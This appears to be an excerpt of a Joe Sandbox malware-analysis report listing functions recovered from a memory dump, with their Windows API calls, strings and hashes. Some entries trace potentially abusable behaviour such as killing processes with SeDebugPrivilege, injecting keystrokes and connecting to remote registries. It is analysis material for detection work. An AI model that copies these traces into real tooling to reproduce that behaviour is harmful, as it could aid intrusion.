DestroyIcon.USER32(00000000,?,?,?,?,?,?,00D5A57C,00000000,00000000,00000000,000000FF,00000000,000000FF,000000FF), ref: 00DBEA6F
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00DBEA8C
DestroyIcon.USER32(00000000,?,?,?,?,?,?,00D5A57C,00000000,00000000,00000000,000000FF,00000000,000000FF,000000FF), ref: 00DBEA97

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: f10507350a39dfa3103c528a83edb0b81a64e69b0824b9f1bc1fbdb29fb609c9
Instruction ID: ab07293143d619ada07b817e317c2301be5df4d905bd75b79b5e54f032d48c1d
Opcode Fuzzy Hash: f10507350a39dfa3103c528a83edb0b81a64e69b0824b9f1bc1fbdb29fb609c9
Instruction Fuzzy Hash: B0518770600709EFDF24CF69CC81FAA7BA9AB08751F144229F9469B290D770ED849B70

Function 00D5F6B5 Relevance: 13.6, APIs: 9, Instructions: 135COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,00DBE9A0,00000004,00000000,00000000), ref: 00D5F737
ShowWindow.USER32(00000000,00000000,00000000,00000000,00000000,?,00DBE9A0,00000004,00000000,00000000), ref: 00D5F77E
ShowWindow.USER32(00000000,00000006,00000000,00000000,00000000,?,00DBE9A0,00000004,00000000,00000000), ref: 00DBEB55
ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,00DBE9A0,00000004,00000000,00000000), ref: 00DBEBC1

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 36bec507e48350d67a9bf8c4d0c845db19a655c2a19ea317aafed8e349b6b8d9
Instruction ID: ef4977db4ef77cc8c91aa258efb9a5746bfedfbdac23e93e4b678d778f4f3bc2
Opcode Fuzzy Hash: 36bec507e48350d67a9bf8c4d0c845db19a655c2a19ea317aafed8e349b6b8d9
Instruction Fuzzy Hash: 8341C531204781DBDF3557288CC8BAA7B96AB49307F2C086DFC878B561C670E889D735

Function 00D87E6F Relevance: 13.6, APIs: 9, Instructions: 135filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D431B8: GetFullPathNameW.KERNEL32(00000000,00000104,?,?), ref: 00D431DA

Part of subcall function 00D87C0C: GetFileAttributesW.KERNEL32(?,00D86A7B), ref: 00D87C0D

lstrcmpiW.KERNEL32(?,?), ref: 00D87ED2
_wcscmp.LIBCMT ref: 00D87EEA
MoveFileW.KERNEL32(?,?), ref: 00D87F03

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: File$AttributesFullMoveNamePath_wcscmplstrcmpi
String ID:
API String ID: 4093841705-0
Opcode ID: 0d636937f9d55eb1a97b5ba3d1500926166a77951ef2dc9ab2cfbd97b2b18dbc
Instruction ID: 5c866e712acd71b69f4d146d9e7a8c25f98af8daa1e977fa1e1652e5762c8718
Opcode Fuzzy Hash: 0d636937f9d55eb1a97b5ba3d1500926166a77951ef2dc9ab2cfbd97b2b18dbc
Instruction Fuzzy Hash: DB41D0B1804219AACF25EBA4DC45ADDB3BCAF48310F5445EAE505A3141EB35DB89CFB4

Function 00D7CDE6 Relevance: 13.6, APIs: 9, Instructions: 65sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D7E138: GetWindowThreadProcessId.USER32(?,00000000), ref: 00D7E158
Part of subcall function 00D7E138: GetCurrentThreadId.KERNEL32 ref: 00D7E15F
Part of subcall function 00D7E138: AttachThreadInput.USER32(00000000,?,00D7CDFB,?,00000001), ref: 00D7E166

MapVirtualKeyW.USER32(00000025,00000000), ref: 00D7CE06
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00D7CE23
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 00D7CE26
MapVirtualKeyW.USER32(00000025,00000000), ref: 00D7CE2F
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00D7CE4D
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00D7CE50
MapVirtualKeyW.USER32(00000025,00000000), ref: 00D7CE59
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00D7CE70
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00D7CE73

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 4c27f3c2d53ff99de4f3ae458082e968f690cf1f090c0bd1c3379e99770813ee
Instruction ID: dfda2afd26147a6d8ca7e80b4caf5fc8a3c800060e0a55605cee99954f5b06a1
Opcode Fuzzy Hash: 4c27f3c2d53ff99de4f3ae458082e968f690cf1f090c0bd1c3379e99770813ee
Instruction Fuzzy Hash: 7011E1B1550B1ABEF7102B608C8EF6A3B2EDB1C754F510429F244AB1E0C9F26C00DEB4

Function 00D7BFF5 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00D7BC1D,00000B00,?,?), ref: 00D7BFFE
HeapAlloc.KERNEL32(00000000,?,00D7BC1D,00000B00,?,?), ref: 00D7C005
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00D7BC1D,00000B00,?,?), ref: 00D7C01A
GetCurrentProcess.KERNEL32(?,00000000,?,00D7BC1D,00000B00,?,?), ref: 00D7C022
DuplicateHandle.KERNEL32(00000000,?,00D7BC1D,00000B00,?,?), ref: 00D7C025
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00D7BC1D,00000B00,?,?), ref: 00D7C035
GetCurrentProcess.KERNEL32(00D7BC1D,00000000,?,00D7BC1D,00000B00,?,?), ref: 00D7C03D
DuplicateHandle.KERNEL32(00000000,?,00D7BC1D,00000B00,?,?), ref: 00D7C040
CreateThread.KERNEL32(00000000,00000000,00D7C066,00000000,00000000,00000000), ref: 00D7C05A

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: d0cbcdfd0c636c0c878ada100377819a1ec144ffe48b8813cf45d3a227b99ade
Instruction ID: 3bad060c62f5a19e18b5081af1de9260da3cf60744788aae1b266fe9c6f3a605
Opcode Fuzzy Hash: d0cbcdfd0c636c0c878ada100377819a1ec144ffe48b8813cf45d3a227b99ade
Instruction Fuzzy Hash: E801BBB5640345BFE710AFA5DC49F6B7BADEB89711F008425FA05DB2A1CA709801CB71

Function 00D9C8B7 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 401COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00D9C916
NULL Pointer assignment, xrefs: 00D9CCEE, 00D9CCFF

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: fdd4d31ce377b81747728f23bdbef0d1e7f14dbe040ceb888d84d85dd6fe076d
Instruction ID: 7a708dc6365265b0a94af1f6b686ef71f849bc8657dea1abdc005a9c0b390a77
Opcode Fuzzy Hash: fdd4d31ce377b81747728f23bdbef0d1e7f14dbe040ceb888d84d85dd6fe076d
Instruction Fuzzy Hash: 5DE19171A10219AFDF14DF68C881BAE7BB5EF48354F189029F949AB281E770DD45CB70

Function 00D9BF80 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 264COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D9BFD4
VariantInit.OLEAUT32(?), ref: 00D9C0A5
VariantInit.OLEAUT32(?), ref: 00D9C1A6
VariantClear.OLEAUT32(?), ref: 00D9C1B0
VariantClear.OLEAUT32(?), ref: 00D9C211

Strings

Null Object assignment in FOR..IN loop, xrefs: 00D9C035, 00D9C163, 00D9C21F
Incorrect Object type in FOR..IN loop, xrefs: 00D9C189

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: ac2c8579b2a682fefdf178a913150327f7a8e1157c8d2a74d97b63090c71a9f6
Instruction ID: d6f50c669f79047172de57a0f726e21e6f31623c473eb5c971419ff4ccaed69e
Opcode Fuzzy Hash: ac2c8579b2a682fefdf178a913150327f7a8e1157c8d2a74d97b63090c71a9f6
Instruction Fuzzy Hash: 32917A71A1021AABDF24CFA4CC44FAEBBB8EF45710F14911AE919AB281D7709945CBB4

Function 00DA9882 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 142windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00DA9926
SendMessageW.USER32(?,00001036,00000000,?), ref: 00DA993A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00DA9954
_wcscat.LIBCMT ref: 00DA99AF
SendMessageW.USER32(?,00001057,00000000,?), ref: 00DA99C6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00DA99F4

Strings

SysListView32, xrefs: 00DA98F8

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: a58bb3c408b00e0fc4ec5d06ff2ae656bc95c067d8e0cf1647c27bc784894cd3
Instruction ID: 936de8fd06efd4b603b2e87972314d6ddc9926b7d3590933315f7c8bc9b33b4c
Opcode Fuzzy Hash: a58bb3c408b00e0fc4ec5d06ff2ae656bc95c067d8e0cf1647c27bc784894cd3
Instruction Fuzzy Hash: B241BD71A00309AFEF219FA4CC85FEEB7A8EF09354F14442AF589E7291D2759984CB70

Function 00DA1620 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

Part of subcall function 00D86F5B: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 00D86F7D
Part of subcall function 00D86F5B: Process32FirstW.KERNEL32(00000000,0000022C), ref: 00D86F8D
Part of subcall function 00D86F5B: CloseHandle.KERNEL32(00000000,?,00000000), ref: 00D87022

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00DA168B
GetLastError.KERNEL32 ref: 00DA169E
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00DA16CA
TerminateProcess.KERNEL32(00000000,00000000), ref: 00DA1746
GetLastError.KERNEL32(00000000), ref: 00DA1751
CloseHandle.KERNEL32(00000000), ref: 00DA1786

Strings

SeDebugPrivilege, xrefs: 00DA16A9

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: b53948c78dd4e8a87e5c2fa40688451e4d50c35511cf7597b96027b876235e7a
Instruction ID: c099933727f55e424aafe4c33937cb3001fa9366216378682d0ff6d9f7073d26
Opcode Fuzzy Hash: b53948c78dd4e8a87e5c2fa40688451e4d50c35511cf7597b96027b876235e7a
Instruction Fuzzy Hash: E4418875600202AFDB04EF54CCA5F6DB7A6EF45755F088059F9069F2D2EB74E8088B71

Function 00D86237 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00D862D6

Strings

blank, xrefs: 00D86258
stop, xrefs: 00D862A7
question, xrefs: 00D8628F
warning, xrefs: 00D862BF
info, xrefs: 00D86277

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 32722a8c479ffbb4b2a9ba85e7f15f06f9ab4aa5c2693827b68de0fc7bc5be95
Instruction ID: 40b23e5dec289831daa03c389201e15ecbc59580c5eb658e20083e2366c54166
Opcode Fuzzy Hash: 32722a8c479ffbb4b2a9ba85e7f15f06f9ab4aa5c2693827b68de0fc7bc5be95
Instruction Fuzzy Hash: CA11B735209357BFD7057B589C42FBA739CDF16774B25006AF641A6282E7E0EA40837C

Function 00D8757B Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000066,?,00000100,00000000), ref: 00D87595
LoadStringW.USER32(00000000), ref: 00D8759C
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00D875B2
LoadStringW.USER32(00000000), ref: 00D875B9
_wprintf.LIBCMT ref: 00D875DF
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00D875FD

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00D875DA

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 494e9eafe42f6da52a76367fcc2bf012f877236ae85c8770d0500a850c60370a
Instruction ID: 3ac59ae8a4c962f6bc42357f4d7005711ca14df4d01a5c7ae7f08a4a551af97a
Opcode Fuzzy Hash: 494e9eafe42f6da52a76367fcc2bf012f877236ae85c8770d0500a850c60370a
Instruction Fuzzy Hash: 0A0162F254030ABFEB11E7A49C89EE7776CD704300F0004A2B745E2141EA749E848B30

Function 00DA2A0A Relevance: 12.3, APIs: 8, Instructions: 251registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4CAEE: _memmove.LIBCMT ref: 00D4CB2F

Part of subcall function 00DA3AF7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00DA2AA6,?,?), ref: 00DA3B0E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00DA2AE7

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: BuffCharConnectRegistryUpper_memmove
String ID:
API String ID: 3479070676-0
Opcode ID: 3bab046046f2f71e2ac869103642e3fe7f5d6b6b63204d165ed232ce638bf6e9
Instruction ID: cd9c5b631601616f81cc4a0b462d8b6dffc3e9eb61ea556839e1786cbf3ff0b5
Opcode Fuzzy Hash: 3bab046046f2f71e2ac869103642e3fe7f5d6b6b63204d165ed232ce638bf6e9
Instruction Fuzzy Hash: 36916B712042019FCB04EF59C891B6EB7E5FF89310F18841DF996972A1DB35E945CB72

Function 00D6B72C Relevance: 12.1, APIs: 8, Instructions: 118COMMONLIBRARYCODE

Download Yara Rule

APIs

__mtinitlocknum.LIBCMT ref: 00D6B744

Part of subcall function 00D68A0C: __FF_MSGBANNER.LIBCMT ref: 00D68A21
Part of subcall function 00D68A0C: __NMSG_WRITE.LIBCMT ref: 00D68A28
Part of subcall function 00D68A0C: __malloc_crt.LIBCMT ref: 00D68A48

__lock.LIBCMT ref: 00D6B757
__lock.LIBCMT ref: 00D6B7A3
InitializeCriticalSectionAndSpinCount.KERNEL32(8000000C,00000FA0,00DF6948,00000018,00D76C2B,?,00000000,00000109), ref: 00D6B7BF
EnterCriticalSection.KERNEL32(8000000C,00DF6948,00000018,00D76C2B,?,00000000,00000109), ref: 00D6B7DC
LeaveCriticalSection.KERNEL32(8000000C), ref: 00D6B7EC

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CriticalSection$__lock$CountEnterInitializeLeaveSpin__malloc_crt__mtinitlocknum
String ID:
API String ID: 1422805418-0
Opcode ID: b8c0498d49935352fcdaeba42c69c82113857f3898b698e22cc92349afc500e9
Instruction ID: 2ffe91d4aff7b6e614aeb4a6a1deca10767343acc402eadadad0c3db615fa7d0
Opcode Fuzzy Hash: b8c0498d49935352fcdaeba42c69c82113857f3898b698e22cc92349afc500e9
Instruction Fuzzy Hash: 94412571D003168BEB109FA8D8447ACBBA8FF81335F14832AE525EB2D1D7749985CBB0

Function 00D8A1B7 Relevance: 12.1, APIs: 8, Instructions: 100fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00D8A1CE

Part of subcall function 00D6010A: std::exception::exception.LIBCMT ref: 00D6013E
Part of subcall function 00D6010A: __CxxThrowException@8.LIBCMT ref: 00D60153

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00D8A205
EnterCriticalSection.KERNEL32(?), ref: 00D8A221
_memmove.LIBCMT ref: 00D8A26F
_memmove.LIBCMT ref: 00D8A28C
LeaveCriticalSection.KERNEL32(?), ref: 00D8A29B
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00D8A2B0
InterlockedExchange.KERNEL32(?,000001F6), ref: 00D8A2CF

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: 8a75632fb695fbc5747c1510011ecc66e66e616b94bdd0d73bba07095fc722bb
Instruction ID: 3ee4887de75e0d4b2efd0b1ece89e5ce455a071e4049ff31f0c780cef442c619
Opcode Fuzzy Hash: 8a75632fb695fbc5747c1510011ecc66e66e616b94bdd0d73bba07095fc722bb
Instruction Fuzzy Hash: 5A319031900206EBDF10EF98DC85EAEBBB9EF45310B1480A5F904EB256DB74DA15CB75

Function 00DA8CDB Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00DA8CF3
GetDC.USER32(00000000), ref: 00DA8CFB
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00DA8D06
ReleaseDC.USER32(00000000,00000000), ref: 00DA8D12
CreateFontW.GDI32(?,00000000,00000000,00000000,00000000,?,?,?,00000001,00000004,00000000,?,00000000,?), ref: 00DA8D4E
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00DA8D5F
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00DABB29,?,?,000000FF,00000000,?,000000FF,?), ref: 00DA8D99
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00DA8DB9

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: dcd6d09fd3dbf64a4c6cb4c4550735f868cc14a640bdd1abfdba76fdbd3f2fa9
Instruction ID: f4966e4ac1ceb3298011d8284178ec793662ea06afaf2598c89daa0624b2c976
Opcode Fuzzy Hash: dcd6d09fd3dbf64a4c6cb4c4550735f868cc14a640bdd1abfdba76fdbd3f2fa9
Instruction Fuzzy Hash: 00317F72141215BFEF108F55CC49FEA3BAAEF4A755F084065FE08DA291CA759C41CB74

Function 00D91BFA Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 308COMMON

Download Yara Rule

APIs

Part of subcall function 00D484A6: __swprintf.LIBCMT ref: 00D484E5
Part of subcall function 00D484A6: __itow.LIBCMT ref: 00D48519

Part of subcall function 00D43BCF: _wcscpy.LIBCMT ref: 00D43BF2

_wcstok.LIBCMT ref: 00D91D6E
_wcscpy.LIBCMT ref: 00D91DFD
